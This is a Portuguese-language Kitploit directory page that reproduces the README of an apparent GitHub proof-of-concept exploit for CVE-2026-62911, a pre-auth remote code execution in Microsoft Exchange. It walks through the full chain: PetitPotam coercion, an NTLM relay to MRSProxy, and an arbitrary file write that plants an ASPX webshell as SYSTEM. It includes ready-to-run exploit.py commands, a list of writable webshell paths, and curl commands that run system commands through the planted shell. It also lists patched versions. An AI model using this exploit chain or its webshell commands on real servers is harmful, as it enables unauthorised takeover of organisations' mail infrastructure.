Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/hypnguyen1209/cve-2026-62911
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubhypnguyen1209/cve-2026-62911

CVE-2026-62911

Exploit de prova de conceito para CVE-2026-62911: RCE sem autenticação prévia no Microsoft Exchange via relay NTLM para MRSProxy, gravando um webshell ASPX para execução de comandos como SYSTEM.

Ver Repositório
1753215há 22 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-62911

RCE sem autenticação no Microsoft Exchange Server. Nenhuma credencial necessária.

Orange Tsai (DEVCORE) usou isso no Pwn2Own Berlin 2026 como parte de uma cadeia de 3 bugs. Prêmio de US$ 200.000, comprometimento total de SYSTEM.

O que faz

O Exchange expõe o MailboxReplicationProxyService (MRSProxy) em dois caminhos. Um deles fica no HTTP.sys sem Proteção Estendida:

CaminhoHospedado porProteção Estendida
/EWS/MRSProxy.svcIISSim. Seguro.
/Microsoft.Exchange.MailboxReplicationService.ProxyServiceHTTP.sysNão. Alvo de relay.

O endpoint HTTP.sys aceita autenticação Negotiate, mas nunca verifica associações de canal. Você faz relay de um hash de conta de máquina para ele, e o Exchange trata você como essa máquina. Contas de máquina possuem ms-Exch-EPI-Token-Serialization por padrão, então o serviço WCF concede acesso total.

Uma vez dentro, IMailbox_Config6() recebe um parâmetro filePath. PstDestinationMailbox.ConfigPst() grava qualquer caminho que você fornecer. Não há verificação de extensão. Aponte para um diretório do IIS, chame IMailbox_Connect(), e um arquivo é gravado em disco. Transforme esse arquivo em um webshell ASPX. Pronto.

A configuração que torna isso possível

root@kitploit:~
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

Interface WCF (métodos relevantes)

root@kitploit:~
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

Versões afetadas

ProdutoVulnerável abaixo deCorrigidoKB
Exchange 2016 CU2315.1.2507.7215.1.2507.72KB5121576
Exchange 2019 CU1415.2.1544.4315.2.1544.43KB5121575
Exchange 2019 CU1515.2.1748.4815.2.1748.48KB5121574
Exchange SE RTM15.2.2562.4515.2.2562.45KB5121573

O Exchange 2016 chegou ao fim da vida útil em outubro de 2025. A correção de agosto de 2026 é distribuída apenas por meio de Extended Security Updates (ESU). Se a organização não comprou ESU, não há patch.

Como o ataque funciona

root@kitploit:~
Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

Cinco etapas:

  1. Dispare MS-EFSR (EfsRpcOpenFileRaw) no EX02. Ele se autentica de volta para você com a conta de máquina dele. O PetitPotam funciona sem autenticação contra Exchange sem patch.

  2. Seu listener SMB captura o negotiate NTLM de EX02$.

  3. Encaminhe-o via HTTPS para o MRSProxy do EX01. O endpoint não verifica EPA, então o relay é concluído. Contas de máquina já têm o direito de serialização do Exchange, então a autorização passa.

  4. Envie chamadas WCF: IMailbox_Config6 com um caminho como C:\inetpub\wwwroot\aspnet_client\shell.aspx, depois IMailbox_Connect. O Exchange grava o arquivo.

  5. Acesse o webshell. Você é SYSTEM.

Executando

Instale as dependências:

root@kitploit:~
pip install impacket pysocks

Verifique se o MRSProxy está exposto:

root@kitploit:~
python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

Você quer ver Microsoft-HTTPAPI/2.0 com Negotiate na resposta 401. Isso confirma que o endpoint HTTP.sys está ativo e que EPA está ausente.

Execute o exploit:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

Se o PetitPotam precisar de autenticação no seu alvo:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

Através de um túnel SOCKS:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

Escolha um local de gravação diferente:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

Verifique se o shell foi gravado:

root@kitploit:~
python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

Use-o:

root@kitploit:~
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

Caminhos de gravação que funcionam

Caminho no discoURLPorquê
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx/aspnet_client/system_web/shell.aspxDiretório padrão de scripts de cliente do IIS. Geralmente gravável, serve ASPX.
C:\inetpub\wwwroot\aspnet_client\shell.aspx/aspnet_client/shell.aspxO mesmo, mais curto.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx/owa/auth/shell.aspxPasta de autenticação do OWA.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx/ecp/auth/shell.aspxPasta de autenticação do ECP.

Referências

  • MBBank VRED: Analysis of Exchange Server Pre-Auth
  • Pwn2Own Berlin 2026, Day 2
  • Microsoft Advisory
  • KB5121576

Aviso legal

Apenas para testes autorizados. Obtenha permissão por escrito antes de executar isso contra qualquer coisa.

Baixar ferramenta